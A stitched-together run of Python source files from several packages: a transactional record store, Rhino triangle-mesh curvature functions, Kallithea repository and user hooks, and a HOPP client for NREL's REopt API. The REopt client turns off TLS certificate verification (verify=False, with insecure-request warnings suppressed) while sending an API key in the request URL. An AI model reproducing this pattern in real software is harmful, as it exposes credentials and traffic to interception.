self._dct = parse_term(dct, dict_type=Aict)
elif vsn > 0:
record_data = store.get(uuid, txn, vsn, txn)
if not record_data:
raise exc.RecordNotFound(model, uuid, vsn)
txn, data = record_data
self._dct = parse_term(data, dict_type=Aict)
self._mark = UNDEF
self._model = model
self._uuid = parse_term(uuid)
self._vsn = parse_term(vsn)
self._txn = parse_term(txn)
self._indexer = get_indexer(model)
initialize = get_initializer(model)
if initialize:
initialize(self)
def __str__(self):
return '<Record "%s" %s:%d>' % (self._model, self._uuid, self._vsn)
__repr__ = __str__
def __getattr__(self, key):
return self._dct[key]
def __setattr__(self, key, value):
dct = self.__dict__ if key[0] == '_' else self._dct
dct[key] = parse_term(value, dict_type=Aict)
def __delattr__(self, key):
if key[0] != '_':
del self._dct[key]
def update(self, *args, **argd):
self._dct.update(*args if args else argd)
return self
def merge(self, *args, **argd):
dct, items = self._dct, args or argd.iteritems()
dct.update((k, v) for k, v in items if k not in dct)
return self
class storage(object):
"""
The idea here is to handle all storage activities as single
transactional unit of works inside a with statement.
with storage("some description") as db:
do something with db
"""
def __init__(self, log_message=None):
self._start = timestamp()
self._state = state = get_state()
self._domain = state.domain
self._log = log_message
self._txn = gen_uuid()
self._cache = dict()
self._dirty = defaultdict(set)
logger.debug('%s %s' % (self._txn, state.service or 'init'))
def __enter__(self):
logger.debug("%s enter %s" % (self._txn, self._log or ''))
return self
def __exit__(self, type, value, traceback):
try:
if self._cache:
if isinstance(value, Exception):
self.__rollback()
else:
self.__commit()
finally:
logger.debug("%s %0.6f exit" % (self._txn, timestamp() - self._start)) # noqa
def __commit(self):
domain = self._domain
txn = self._txn
dirty = self._dirty
dbms = dirty.keys()
_start = timestamp()
try:
for dbm in dbms:
dbm.begin(domain, txn)
finally:
logger.debug("%s %0.6f begin" % (txn, timestamp() - _start))
try:
for dbm, records in dirty.iteritems():
inserts = set()
updates = set()
deletes = set()
for record in records:
mark = record._mark
_vsn, _txn = record._vsn, record._txn
if mark is INSERT:
record._vsn = 1
inserts.add(record)
elif mark is UPDATE:
record._vsn += 1
updates.add(record)
elif mark is DELETE:
record._vsn *= -1
deletes.add(record)
record._mark = UNDEF
record._txn = txn
_start = timestamp()
try:
dbm.store(domain, txn,
inserts=inserts,
updates=updates,
deletes=deletes)
finally:
logger.debug("%s %0.6f store ins=%d upd=%d del=%d" % (
txn, timestamp() - _start, len(inserts), len(updates), len(deletes))) # noqa
_start = timestamp()
try:
for indexer in dbm.indexers:
indexer.index(domain, txn,
inserts=inserts,
updates=updates,
deletes=deletes)
finally:
logger.debug("%s %0.6f index" % (txn, timestamp() - _start)) # noqa
except Exception:
self.__rollback()
raise
else:
_start = timestamp()
try:
for dbm in dbms:
dbm.commit(domain, txn, self._state, self._log)
finally:
logger.debug("%s %0.6f commit" % (txn, timestamp() - _start))
def __rollback(self):
_start = timestamp()
try:
for dbm in self._dirty.keys():
dbm.rollback(self._domain, self._txn)
finally:
logger.debug("%s rollback [%0.6f]" % (self._txn, timestamp() - _start)) # noqa
def fetch(self, model, uuid, vsn=None, txn=None, acl=None, fail=None):
logger.debug("%s fetch %s %s" % (self._txn, model, uuid))
model = getattr(model, '__name__', model)
domain = self._domain
cache = self._cache
record = cache.get((model, uuid, vsn), None)
if record and record._mark is DELETE:
record = None
elif record is None:
storage = get_storage(model)
record = storage.fetch(domain, model, uuid, vsn, txn)
if record and not isinstance(record, Record):
record = Record(model, uuid, *record)
if acl and record and acl(record) is not True:
record = None
if record is not None:
return cache.setdefault((model, uuid, record._vsn), record)
elif issubclass(fail, Exception):
raise fail
elif callable(fail):
return fail()
else:
return fail
def query(self, method, model, fun=None, acl=None, raw=False, load=parse_term): # noqa
_start = timestamp()
try:
model = getattr(model, '__name__', model)
index = get_storage(model)
domain = self._domain
cache = self._cache
for term in getattr(index, method)(domain, model, fun):
if raw is True:
yield load(term) if load else term
if isinstance(term, Record):
uuid, vsn, score = term._uuid, term._vsn, None
record = cache.setdefault((domain, model, uuid, vsn), term)
else:
size = len(term)
if size == 4:
uuid, vsn, txn, score = term
elif size == 3:
uuid, vsn, txn = term
score = None
else:
uuid, vsn = term
txn = score = None
record = cache.get((domain, model, uuid, vsn), None)
if record is None:
record = self.fetch(model, uuid, vsn, txn, acl)
if record is None:
continue
cache[(domain, model, uuid, vsn)] = record
elif record._mark is DELETE or (acl and acl(record) is not True): # noqa
continue
yield (score, record) if score is not None else record
finally:
logger.debug("%s %0.6f %s %s %s" % (self._txn, timestamp() - _start, method, model, fun)) # noqa
def search(self, model, fun, acl=None):
"""Fuzzy search."""
return self.query('search', model, fun, acl)
def select(self, model, fun=None, acl=None):
"""Relational query."""
return self.query('select', model, fun, acl)
def select_one(self, model, fun, acl=None, fail=None):
for idx, record in enumerate(self.select(model, fun, acl)):
if idx > 0:
raise exc.MultipleRecordsFound(model)
try:
return record
except:
if is_class(fail) and issubclass(fail, Exception):
raise fail
elif callable(fail):
return fail()
else:
return fail
def insert(self, model, *args, **argd):
_start = timestamp()
try:
model = getattr(model, '__name__', model)
uuid, vsn = gen_uuid(), 0
record = Record(model, uuid, vsn, self._txn, *args, **argd)
self.validate(record)
record._mark = INSERT
self._dirty[record._store].add(record)
return self._cache.setdefault((model, uuid, vsn), record)
finally:
logger.debug("%s %0.6f insert %s" % (self._txn, timestamp() - _start, model)) # noqa
def update(self, *args, **argd):
_start = timestamp()
try:
records = [self.fetch(*args).update(argd)] if argd else args
for record in records:
self.validate(record)
mark = record._mark
if mark is DELETE:
raise exc.RecordMarkedForDeletion(record)
elif record._vsn < 0:
raise exc.DeletedRecord(record)
elif mark is INSERT:
pass
else:
record._mark = UPDATE
self._dirty[record._store].add(record)
return records[0] if len(records) == 1 else records
finally:
logger.debug("%s %0.6f update %d" % (self._txn, timestamp() - _start, len(records))) # noqa
def delete(self, *args):
_start = timestamp()
try:
records = [self.fetch(*args)] if args and not isinstance(args[0], Record) else args # noqa
for record in records:
if record._mark is INSERT:
raise exc.RecordMarkedForInsertion(record)
elif record._vsn < 0:
raise exc.DeletedRecord(record)
elif record._vsn == 0:
raise exc.UnstoredRecord(record)
record._mark = DELETE
self._dirty[record._store].add(record)
return True
finally:
logger.debug("%s %0.6f delete %d" % (self._txn, timestamp() - _start, len(records))) # noqa
def validate(self, record):
_start = timestamp()
try:
validator = get_validator(record._model)
if validator:
errors = validator(record)
if errors:
raise exc.RecordValidationError(record, errors)
finally:
logger.debug("%s %0.6f validate %s" % (self._txn, timestamp() - _start, record._model)) # noqa | PypiClean |
/COMPAS-1.17.5.tar.gz/COMPAS-1.17.5/src/compas_rhino/geometry/trimesh/curvature.py | from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import Rhino
from Rhino.Geometry.Vector3d import Multiply, CrossProduct
from Rhino.Geometry.Point3d import FromPoint3f
from math import pi
from math import sqrt
from math import atan2
from clr import StrongBox
from scriptcontext import doc
from System import Array
from compas.plugins import plugin
__all__ = [
"trimesh_gaussian_curvature",
"trimesh_mean_curvature",
"trimesh_principal_curvature",
]
@plugin(category="trimesh", requires=["Rhino"])
def trimesh_gaussian_curvature(M):
r"""Compute the discrete Gaussian curvature of a triangle mesh.
Parameters
----------
M : tuple[sequence[[float, float, float] | :class:`~compas.geometry.Point`], sequence[[int, int, int]]]
A mesh represented by a list of vertices and a list of faces.
Returns
-------
list[float]
The discrete Gaussian curvature per vertex.
Notes
-----
Description: The angle defect at a vertex is used to describe the Gaussian curvature in a neighborhood around a vertex.
Notation Convention:
* :math:`K_{i}` - discrete Gaussian curvature at vertex i
* :math:`j,k` - the vertices from the Star of vertex i
* :math:`e_{ij},\, e_{ik}` - the vectors from vertex i to j and i to k
* :math:`\\theta_{i}^{jk}` - interior angle at vertex i of triangle ijk
Formula:
.. math::
K_{i} = 2\pi-\sum\\theta_{i}^{jk}
References
----------
.. [1] Formula of Discrete Gaussian Curvature available at Keenan Crane's lecture, 03:16-07:11, at https://youtu.be/sokeN5VxBB8
Examples
--------
Make a mesh from scratch
>>> from compas.geometry import Sphere
>>> sphere = Sphere([1, 1, 1], 1)
>>> sphere = Mesh.from_shape(sphere, u=30, v=30)
>>> sphere.quads_to_triangles()
>>> M = sphere.to_vertices_and_faces()
Compute the discrete Gaussian curvature
>>> K = trimesh_gaussian_curvature(M)
"""
# (0) see if input is already Rhino.Geometry.Mesh
mesh = Rhino.Geometry.Mesh()
if not isinstance(M, Rhino.Geometry.Mesh):
for x, y, z in M[0]:
mesh.Vertices.Add(x, y, z)
for face in M[1]:
mesh.Faces.AddFace(*face)
else:
mesh = M
# (1) check if it is a trimesh
if mesh.Faces.QuadCount > 0:
raise ValueError("Mesh is not trimesh.")
# (2) Prepare ingredient and return list
pi_2 = 2 * pi
K = []
# (3) Main - loop every vertex for angle defect
for i in range(mesh.Vertices.Count):
vert_neighbors_topo = mesh.TopologyVertices.ConnectedTopologyVertices(
mesh.TopologyVertices.TopologyVertexIndex(i), True
)
vert_neighbors = []
if vert_neighbors_topo is None:
K.append(None)
continue
for vert in vert_neighbors_topo:
vert_neighbors.extend(mesh.TopologyVertices.MeshVertexIndices(vert))
angles = []
valence = len(vert_neighbors)
v_i = mesh.Vertices[i]
# loop every neighbor
for j in range(valence):
v_j = mesh.Vertices[vert_neighbors[j]]
v_k = mesh.Vertices[vert_neighbors[(j + 1) % valence]]
e_ij = v_j - v_i
e_ik = v_k - v_i
angles.append(Rhino.Geometry.Vector3d.VectorAngle(e_ij, e_ik))
K.append(pi_2 - sum(angles))
# (4) Output
return K
@plugin(category="trimesh", requires=["Rhino"])
def trimesh_mean_curvature(M):
r"""Compute the discrete mean curvature of a triangle mesh.
Parameters
----------
M : tuple[sequence[[float, float, float] | :class:`~compas.geometry.Point`], sequence[[int, int, int]]]
A mesh represented by a list of vertices and a list of faces.
Returns
-------
list[float]
The discrete mean curvature per vertex.
Notes
-----
Description: The discrete mean curvature is computed by edge length and its dihedral angle.
Notation Convention:
* :math:`H_{i}` - discrete mean curvature at vertex i
* :math:`E` - all the edges connected to vertex i
* :math:`j` - a vertex connected to vertex i
* :math:`l_{ij}` - the length of edge ij
* :math:`\phi_{ij}` - the dihedral angle of edge ij
Formula:
.. math::
H_{i} = \frac{1}{4}\sum_{ij\in E}l_{ij}\phi_{ij}
References
----------
.. [1] Formula of Discrete Mean Curvature available at Keenan Crane's lecture, 03:16-07:11, at https://youtu.be/sokeN5VxBB8
.. [2] Formula of dihedral angle available at Keenan Crane's lecture, 04:20-05:43, at https://youtu.be/NlU1m-OfumE
Examples
--------
Make a mesh from scratch
>>> from compas.geometry import Sphere
>>> sphere = Sphere([1, 1, 1], 1)
>>> sphere = Mesh.from_shape(sphere, u=30, v=30)
>>> sphere.quads_to_triangles()
>>> M = sphere.to_vertices_and_faces()
Compute the discrete mean curvature
>>> H = trimesh_mean_curvature(M)
"""
# (0) see if input is already Rhino.Geometry.Mesh
mesh = Rhino.Geometry.Mesh()
if not isinstance(M, Rhino.Geometry.Mesh):
for x, y, z in M[0]:
mesh.Vertices.Add(x, y, z)
for face in M[1]:
mesh.Faces.AddFace(*face)
else:
mesh = M
# (1) check if it is a trimesh
if mesh.Faces.QuadCount > 0:
raise ValueError("Mesh is not trimesh.")
# (2) Prepare ingredient and return list
H = []
mesh.FaceNormals.ComputeFaceNormals()
faces_normal = mesh.FaceNormals
# (3) Main - loop over all vertices
for i in range(mesh.Vertices.Count):
edges = mesh.TopologyVertices.ConnectedEdges(mesh.TopologyVertices.TopologyVertexIndex(i))
vertex = FromPoint3f(mesh.Vertices[i])
if edges is None:
H.append(None)
continue
x = []
# (3.1) loop topology edges of such vertex
for edge in edges:
l_ij = mesh.TopologyEdges.EdgeLine(edge).Length
orientation = StrongBox[Array[bool]]()
faces = mesh.TopologyEdges.GetConnectedFaces(edge, orientation)
if len(faces) != 2:
x.append(0)
continue
# (3.2) to know which face is on left or right
orientation = list(orientation.Value)
start_pt = mesh.TopologyEdges.EdgeLine(edge).From
direction = start_pt.EpsilonEquals(vertex, doc.ModelAbsoluteTolerance)
normals = dict(zip(orientation, [faces_normal[faces[0]], faces_normal[faces[1]]]))
e = mesh.TopologyEdges.EdgeLine(edge).Direction
e.Unitize()
n1 = normals[True]
n2 = normals[False]
if not direction:
e.Reverse()
n1, n2 = n2, n1
# (3.3) calculate dihedral angle
angle = dihedral_angle(e, n1, n2)
x.append(l_ij * angle)
H.append(1 / 4 * sum(x))
# (4) Output
return H
@plugin(category="trimesh", requires=["Rhino"])
def trimesh_principal_curvature(M):
r"""Compute the principal curvature of a triangle mesh.
Parameters
----------
M : tuple[sequence[[float, float, float] | :class:`~compas.geometry.Point`], sequence[[int, int, int]]]
A mesh represented by a list of vertices and a list of faces.
Returns
-------
list[float]
The max curvature per vertex.
list[float]
The min curvature per vertex.
Notes
-----
Description: The discrete principal curvature is computed by mean curvature, Gaussian curvature, and vertex area.
Notation Convention:
* :math:`\kappa^1_i, \kappa^2_i` - The max principal curvature and the min principal curvature at the vertex i
* :math:`H_i` - the discrete mean curvature at vertex i
* :math:`K_i` - the discrete Gaussian curvature at vertex i
* :math:`A_i` - the area of the dual cell centered at vertex i
Formula:
.. math::
\kappa^1_i, \kappa^2_i = \frac{H_i}{A_i}\pm\sqrt{\left( \,\frac{H_i}{A_i}\right)\,^2-\frac{K_i}{A_i}}
References
----------
.. [1] Formula of Discrete Principal Curvature available at Keenan Crane's lecture, 03:16-07:11, at https://youtu.be/sokeN5VxBB8
Examples
--------
Make a mesh from scratch
>>> from compas.geometry import Sphere
>>> sphere = Sphere([1, 1, 1], 1)
>>> sphere = Mesh.from_shape(sphere, u=30, v=30)
>>> sphere.quads_to_triangles()
>>> M = sphere.to_vertices_and_faces()
Compute the discrete principal curvature
>>> H = trimesh_principal_curvature(M)
"""
# (0) see if input is already Rhino.Geometry.Mesh
mesh = Rhino.Geometry.Mesh()
if not isinstance(M, Rhino.Geometry.Mesh):
for x, y, z in M[0]:
mesh.Vertices.Add(x, y, z)
for face in M[1]:
mesh.Faces.AddFace(*face)
else:
mesh = M
# (1) check if it is a trimesh
if mesh.Faces.QuadCount > 0:
raise ValueError("Mesh is not trimesh.")
# (2) Prepare ingredient and return list
k1 = []
k2 = []
A = trimesh_barycentric_area(mesh)
H = trimesh_mean_curvature(mesh)
K = trimesh_gaussian_curvature(mesh)
# (3) Main - loop over all vertices
for i in range(mesh.Vertices.Count):
if A[i] == 0:
k1.append(None)
k2.append(None)
continue
H_ = H[i] / A[i]
K_ = K[i] / A[i]
discriminant = sqrt(max(0, H_ * H_ - K_))
k1.append(H_ + discriminant)
k2.append(H_ - discriminant)
# (4) Output
return k1, k2
def trimesh_barycentric_area(mesh):
# (1) prepare return list
areas = [0] * mesh.Vertices.Count
# (2) Main - loop over mesh faces rather than vertices
for i in range(mesh.Faces.Count):
# Heron's Formula
ptA = mesh.Faces.GetFaceVertices(i)[1]
ptB = mesh.Faces.GetFaceVertices(i)[2]
ptC = mesh.Faces.GetFaceVertices(i)[3]
dA = ptB.DistanceTo(ptC)
dB = ptA.DistanceTo(ptC)
dC = ptA.DistanceTo(ptB)
p = (dA + dB + dC) / 2
area = sqrt(p * (p - dA) * (p - dB) * (p - dC)) / 3
# topology vertices
verts_topo = mesh.Faces.GetTopologicalVertices(i)
# vertices
verts = []
for vert_topo in verts_topo:
verts.extend(mesh.TopologyVertices.MeshVertexIndices(vert_topo))
for vert in verts:
areas[vert] += area
# (3) output
return areas
def dihedral_angle(e, n1, n2):
# Compute the dihedral angle of an edge
# e: the vector from vertex i to j
# n1: the normal vector of MeshFace on LEFT side
# n2: the normal vector of MeshFace on RIGHT side
cos_theta = Multiply(n1, n2)
sin_theta = Multiply(CrossProduct(n1, n2), e)
return atan2(sin_theta, cos_theta) | PypiClean |
/Kallithea-0.7.0.tar.gz/Kallithea-0.7.0/kallithea/lib/hooks.py | import time
import kallithea
from kallithea.lib.exceptions import UserCreationError
from kallithea.lib.utils2 import get_hook_environment
from kallithea.model import userlog
def log_pull_action():
"""Logs user last pull action
Does *not* use the action from the hook environment but is always 'pull'.
"""
ex = get_hook_environment()
action = 'pull'
userlog.action_logger(ex.username, action, ex.repository, ex.ip, commit=True)
# extension hook call
callback = getattr(kallithea.EXTENSIONS, 'PULL_HOOK', None)
if callable(callback):
kw = {}
kw.update(ex)
callback(**kw)
def process_pushed_raw_ids(revs):
"""
Register that changes have been added to the repo - log the action *and* invalidate caches.
Called from Mercurial changegroup.kallithea_push_action calling hook push_action,
or from the Git post-receive hook calling handle_git_post_receive ...
or from scm _handle_push.
"""
ex = get_hook_environment()
action = '%s:%s' % (ex.action, ','.join(revs))
userlog.action_logger(ex.username, action, ex.repository, ex.ip, commit=True)
from kallithea.model.scm import ScmModel
ScmModel().mark_for_invalidation(ex.repository)
# extension hook call
callback = getattr(kallithea.EXTENSIONS, 'PUSH_HOOK', None)
if callable(callback):
kw = {'pushed_revs': revs}
kw.update(ex)
callback(**kw)
def log_create_repository(repository_dict, created_by, **kwargs):
"""
Post create repository Hook.
:param repository: dict dump of repository object
:param created_by: username who created repository
available keys of repository_dict:
'repo_type',
'description',
'private',
'created_on',
'enable_downloads',
'repo_id',
'owner_id',
'enable_statistics',
'clone_uri',
'fork_id',
'group_id',
'repo_name'
"""
callback = getattr(kallithea.EXTENSIONS, 'CREATE_REPO_HOOK', None)
if callable(callback):
kw = {}
kw.update(repository_dict)
kw.update({'created_by': created_by})
kw.update(kwargs)
callback(**kw)
def check_allowed_create_user(user_dict, created_by, **kwargs):
# pre create hooks
callback = getattr(kallithea.EXTENSIONS, 'PRE_CREATE_USER_HOOK', None)
if callable(callback):
allowed, reason = callback(created_by=created_by, **user_dict)
if not allowed:
raise UserCreationError(reason)
def log_create_user(user_dict, created_by, **kwargs):
"""
Post create user Hook.
:param user_dict: dict dump of user object
available keys for user_dict:
'username',
'full_name_or_username',
'full_contact',
'user_id',
'name',
'firstname',
'short_contact',
'admin',
'lastname',
'ip_addresses',
'ldap_dn',
'email',
'api_key',
'last_login',
'full_name',
'active',
'password',
'emails',
"""
callback = getattr(kallithea.EXTENSIONS, 'CREATE_USER_HOOK', None)
if callable(callback):
callback(created_by=created_by, **user_dict)
def log_create_pullrequest(pullrequest_dict, created_by, **kwargs):
"""
Post create pull request hook.
:param pullrequest_dict: dict dump of pull request object
"""
callback = getattr(kallithea.EXTENSIONS, 'CREATE_PULLREQUEST_HOOK', None)
if callable(callback):
return callback(created_by=created_by, **pullrequest_dict)
return 0
def log_delete_repository(repository_dict, deleted_by, **kwargs):
"""
Post delete repository Hook.
:param repository: dict dump of repository object
:param deleted_by: username who deleted the repository
available keys of repository_dict:
'repo_type',
'description',
'private',
'created_on',
'enable_downloads',
'repo_id',
'owner_id',
'enable_statistics',
'clone_uri',
'fork_id',
'group_id',
'repo_name'
"""
callback = getattr(kallithea.EXTENSIONS, 'DELETE_REPO_HOOK', None)
if callable(callback):
kw = {}
kw.update(repository_dict)
kw.update({'deleted_by': deleted_by,
'deleted_on': time.time()})
kw.update(kwargs)
callback(**kw)
def log_delete_user(user_dict, deleted_by, **kwargs):
"""
Post delete user Hook.
:param user_dict: dict dump of user object
available keys for user_dict:
'username',
'full_name_or_username',
'full_contact',
'user_id',
'name',
'firstname',
'short_contact',
'admin',
'lastname',
'ip_addresses',
'ldap_dn',
'email',
'api_key',
'last_login',
'full_name',
'active',
'password',
'emails',
"""
callback = getattr(kallithea.EXTENSIONS, 'DELETE_USER_HOOK', None)
if callable(callback):
callback(deleted_by=deleted_by, **user_dict) | PypiClean |
/HOPP-0.0.5-py3-none-any.whl/hybrid/reopt.py | import json
import os
import pandas as pd
import requests
import time
from hybrid.solar_source import *
from hybrid.wind_source import WindPlant
from hybrid.storage import Battery
from hybrid.log import hybrid_logger as logger
from hybrid.keys import get_developer_nrel_gov_key
from hybrid.utility_rate import UtilityRate
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class REopt:
"""
Class to interact with REopt API
https://developer.nrel.gov/docs/energy-optimization/reopt-v1/
Presently limited to take a annual wholesale rate to provide system compensation
https://internal-apis.nrel.gov/reopt-dev/v1/?format=json
Internal development API that has newer features
"""
def __init__(self, lat, lon,
interconnection_limit_kw: float,
load_profile: Sequence,
urdb_label: str,
solar_model: SolarPlant = None,
wind_model: WindPlant = None,
storage_model: Battery = None,
fin_model: Singleowner = None,
fileout=None):
"""
Initialize REopt API call
Parameters
---------
lat: float
The latitude
lon: float
The longitude
wholesale_rate_above_site_load_us_dollars_per_kwh: float
Price of electricity sold back to the grid above the site load, regardless of net metering
interconnection_limit_kw: float
The limit on system capacity size that can be interconnected to grid
load_profile: list
The kW demand of the site at every hour (length 8760)
urdb_label: string
The identifier of a urdb_rate to use
*_model: PySAM models
Models initialized with correct parameters
fileout: string
Filename where REopt results should be written
"""
self.latitude = lat
self.longitude = lon
self.interconnection_limit_kw = interconnection_limit_kw
self.urdb_label = urdb_label
self.load_profile = load_profile
self.results = None
# paths
self.path_current = os.path.dirname(os.path.abspath(__file__))
self.path_results = os.path.join(self.path_current, '..', 'results')
self.path_rates = os.path.join(self.path_current, '..', 'resource_files', 'utility_rates')
if not os.path.exists(self.path_rates):
os.makedirs(self.path_rates)
self.fileout = os.path.join(self.path_results, 'REoptResults.json')
if fileout is not None:
self.fileout = fileout
self.reopt_api_post_url = 'https://developer.nrel.gov/api/reopt/v1/job?format=json'
self.reopt_api_poll_url = 'https://developer.nrel.gov/api/reopt/v1/job/'
self.post = self.create_post(solar_model, wind_model, storage_model, fin_model)
logger.info("Created REopt post")
def set_rate_path(self, path_rates):
self.path_rates = path_rates
@staticmethod
def PV(solar_model: SolarPlant):
""" The PV dictionary required by REopt"""
PV = None
if solar_model is not None:
perf_model = solar_model.system_model
PV = dict()
if isinstance(perf_model, Pvsam.Pvsamv1):
track_mode = perf_model.SystemDesign.subarray1_track_mode
en_backtrack = perf_model.SystemDesign.subarray1_backtrack
pvsam_to_pvwatts_track = dict()
pvsam_to_pvwatts_track[0] = 0 # fixed ground mount
pvsam_to_pvwatts_track[1] = 2 # 1-axis tracker
if en_backtrack:
pvsam_to_pvwatts_track[1] = 3 # 1-axis with backtrack
pvsam_to_pvwatts_track[2] = 4 # 2-axis tracker
PV['array_type'] = pvsam_to_pvwatts_track[track_mode]
PV['tilt'] = perf_model.SystemDesign.subarray1_tilt
PV['gcr'] = perf_model.SystemDesign.subarray1_gcr
PV['azimuth'] = perf_model.SystemDesign.subarray1_azimuth
PV['module_type'] = 1
inv_type = int(perf_model.Inverter.inverter_model)
inv_eff_names = ("inv_snl_eff_cec", "inv_ds_eff", "inv_pd_eff", "inv_cec_cg_eff")
PV['inv_eff'] = perf_model.Inverter.__getattribute__(inv_eff_names[inv_type]) / 100
inv_ac_names = ("inv_snl_paco", "inv_ds_paco", "inv_pd_paco", "inv_cec_cg_paco")
PV['dc_ac_ratio'] = perf_model.SystemDesign.system_capacity_kw * 1000 / \
(perf_model.Inverter.__getattribute__(inv_ac_names[inv_type]) * perf_model.Inverter.inverter_count)
else:
PV['array_type'] = perf_model.SystemDesign.array_type
PV['tilt'] = perf_model.SystemDesign.tilt
PV['gcr'] = perf_model.SystemDesign.gcr
PV['azimuth'] = perf_model.SystemDesign.azimuth
PV['inv_eff'] = perf_model.SystemDesign.inv_eff / 100
PV['dc_ac_ratio'] = perf_model.SystemDesign.dc_ac_ratio
PV['module_type'] = perf_model.SystemDesign.module_type
PV['radius'] = 200
fin_model: Singleowner.Singleowner = solar_model.financial_model
if fin_model is not None:
PV['federal_itc_pct'] = fin_model.TaxCreditIncentives.itc_fed_percent * 0.01
PV['om_cost_us_dollars_per_kw'] = fin_model.SystemCosts.om_capacity[0]
return PV
@staticmethod
def Wind(wind_model: WindPlant):
""" The Wind dictionary required by REopt"""
Wind = None
if wind_model is not None:
perf_model = wind_model.system_model
Wind = dict()
resource_file = wind_model.site.wind_resource.filename
if os.path.exists(resource_file):
df_wind = pd.read_csv(resource_file, skiprows=5,
names=['Temperature (C)', 'Pressure (atm)', 'Speed (m/s)', 'Direction (deg)'])
# Truncate any leap day effects by shaving off December 31
Wind['temperature_celsius'] = df_wind['Temperature (C)'].tolist()[0:8760]
Wind['pressure_atmospheres'] = df_wind['Pressure (atm)'].tolist()[0:8760]
Wind['wind_meters_per_sec'] = df_wind['Speed (m/s)'].tolist()[0:8760]
Wind['wind_direction_degrees'] = df_wind['Direction (deg)'].tolist()[0:8760]
fin_model = wind_model.financial_model
if fin_model is not None:
Wind['federal_itc_pct'] = 0
Wind['pbi_us_dollars_per_kwh'] = fin_model.TaxCreditIncentives.ptc_fed_amount[0]
Wind['pbi_years'] = fin_model.TaxCreditIncentives.ptc_fed_term
Wind['size_class'] = 'large'
Wind['installed_cost_us_dollars_per_kw'] = fin_model.SystemCosts.total_installed_cost / \
fin_model.FinancialParameters.system_capacity
Wind['om_cost_us_dollars_per_kw'] = fin_model.SystemCosts.om_capacity[0]
return Wind
@staticmethod
def Storage(storage_model: Battery):
# TODO:
return None
@staticmethod
def financial(hybrid_fin_model: Singleowner.Singleowner):
""" The financial dictionary required by REopt"""
financial_dict = dict()
financial_dict['analysis_years'] = hybrid_fin_model.FinancialParameters.analysis_period
financial_dict['offtaker_discount_pct'] = \
(1 + hybrid_fin_model.FinancialParameters.real_discount_rate * 0.01) * \
(1 + hybrid_fin_model.FinancialParameters.inflation_rate * 0.01) - 1
financial_dict['offtaker_tax_pct'] = (hybrid_fin_model.FinancialParameters.state_tax_rate[0] * 0.01+
hybrid_fin_model.FinancialParameters.federal_tax_rate[0]) * 0.01
om_escal_nom = (1 + hybrid_fin_model.SystemCosts.om_capacity_escal * 0.01) * \
(1 + hybrid_fin_model.FinancialParameters.inflation_rate * 0.01) - 1
financial_dict['om_cost_escalation_pct'] = om_escal_nom
financial_dict['escalation_pct'] = hybrid_fin_model.Revenue.ppa_escalation * 0.01
return financial_dict
def tariff(self, fin_model: Singleowner.Singleowner):
"""The ElectricityTariff dict required by REopt."""
tariff_dict = dict()
ur = UtilityRate(path_rates=self.path_rates, urdb_label=self.urdb_label)
if ur is not None:
tariff_dict['urdb_response'] = ur.get_urdb_response()
else:
tariff_dict['urdb_label'] = self.urdb_label
# currently assume a Single Owner Merchant plant not in a NEM scenario
tariff_dict['wholesale_rate_above_site_load_us_dollars_per_kwh'] = fin_model.Revenue.ppa_price_input[0]
tariff_dict['wholesale_rate_us_dollars_per_kwh'] = tariff_dict['wholesale_rate_above_site_load_us_dollars_per_kwh']
if self.interconnection_limit_kw is not None:
tariff_dict['interconnection_limit_kw'] = self.interconnection_limit_kw
return tariff_dict
def create_post(self, solar_model: SolarPlant, wind_model: WindPlant, batt_model: Battery, hybrid_fin: Singleowner):
""" The HTTP POST required by REopt"""
post = dict()
post['Scenario'] = dict({'user_id': 'hybrid_systems'})
post['Scenario']['Site'] = dict({'latitude': self.latitude, 'longitude': self.longitude})
post['Scenario']['Site']['ElectricTariff'] = self.tariff(hybrid_fin)
if self.load_profile is None:
self.load_profile = 8760 * [0.0]
post['Scenario']['Site']['LoadProfile'] = dict({'loads_kw': self.load_profile})
post['Scenario']['Site']['Financial'] = self.financial(hybrid_fin)
post['Scenario']['Site']['PV'] = self.PV(solar_model)
post['Scenario']['Site']['PV']['max_kw'] = self.interconnection_limit_kw
post['Scenario']['Site']['Wind'] = self.Wind(wind_model)
post['Scenario']['Site']['Wind']['max_kw'] = self.interconnection_limit_kw
if batt_model is not None:
post['Scenario']['Site']['Storage'] = self.Storage(batt_model)
# write file to results for debugging
post_path = os.path.join(self.path_results, 'post.json')
if os.path.exists(post_path):
with open(post_path, 'w') as outfile:
json.dump(post, outfile)
logger.info("Created REopt post, exported to " + post_path)
return post
def get_reopt_results(self, force_download=False):
"""
Call the reopt_api
Parameters
---------
force_download: bool
Whether to force a new api call if the results file already is on disk
Returns
------
results: dict
A dictionary of REopt results, as defined
"""
logger.info("REopt getting results")
results = dict()
success = os.path.isfile(self.fileout)
if not success or force_download:
post_url = self.reopt_api_post_url + '&api_key={api_key}'.format(api_key=get_developer_nrel_gov_key())
resp = requests.post(post_url, json.dumps(self.post), verify=False)
if resp.ok:
run_id_dict = json.loads(resp.text)
try:
run_id = run_id_dict['run_uuid']
except KeyError:
msg = "Response from {} did not contain run_uuid.".format(post_url)
raise KeyError(msg)
poll_url = self.reopt_api_poll_url + '{run_uuid}/results/?api_key={api_key}'.format(
run_uuid=run_id,
api_key=get_developer_nrel_gov_key())
results = self.poller(url=poll_url)
with open(self.fileout, 'w') as fp:
json.dump(obj=results, fp=fp)
logger.info("Received REopt response, exported to {}".format(self.fileout))
else:
text = json.loads(resp.text)
if "messages" in text.keys():
logger.error("REopt response reading error: " + str(text['messages']))
raise Exception(text["messages"])
resp.raise_for_status()
elif success:
with open(self.fileout, 'r') as fp:
results = json.load(fp=fp)
logger.info("Read REopt response from {}".format(self.fileout))
return results
@staticmethod
def poller(url, poll_interval=2):
"""
Function for polling the REopt API results URL until status is not "Optimizing..."
Parameters
----------
url: string
results url to poll
poll_interval: float
seconds
Returns
-------
response: dict
The dictionary response from the API (once status is not "Optimizing...")
"""
key_error_count = 0
key_error_threshold = 4
status = "Optimizing..."
while True:
resp = requests.get(url=url, verify=False)
resp_dict = json.loads(resp.text)
try:
status = resp_dict['outputs']['Scenario']['status']
except KeyError:
key_error_count += 1
if key_error_count > key_error_threshold:
break
if status != "Optimizing...":
break
else:
time.sleep(poll_interval)
return resp_dict | PypiClean |
/B9gemyaeix-4.14.1.tar.gz/B9gemyaeix-4.14.1/weblate/trans/views/about.py |
from django.db.models import Sum
from django.utils.translation import gettext_lazy as _
from django.views.generic import TemplateView
from weblate.accounts.models import Profile
from weblate.metrics.models import Metric
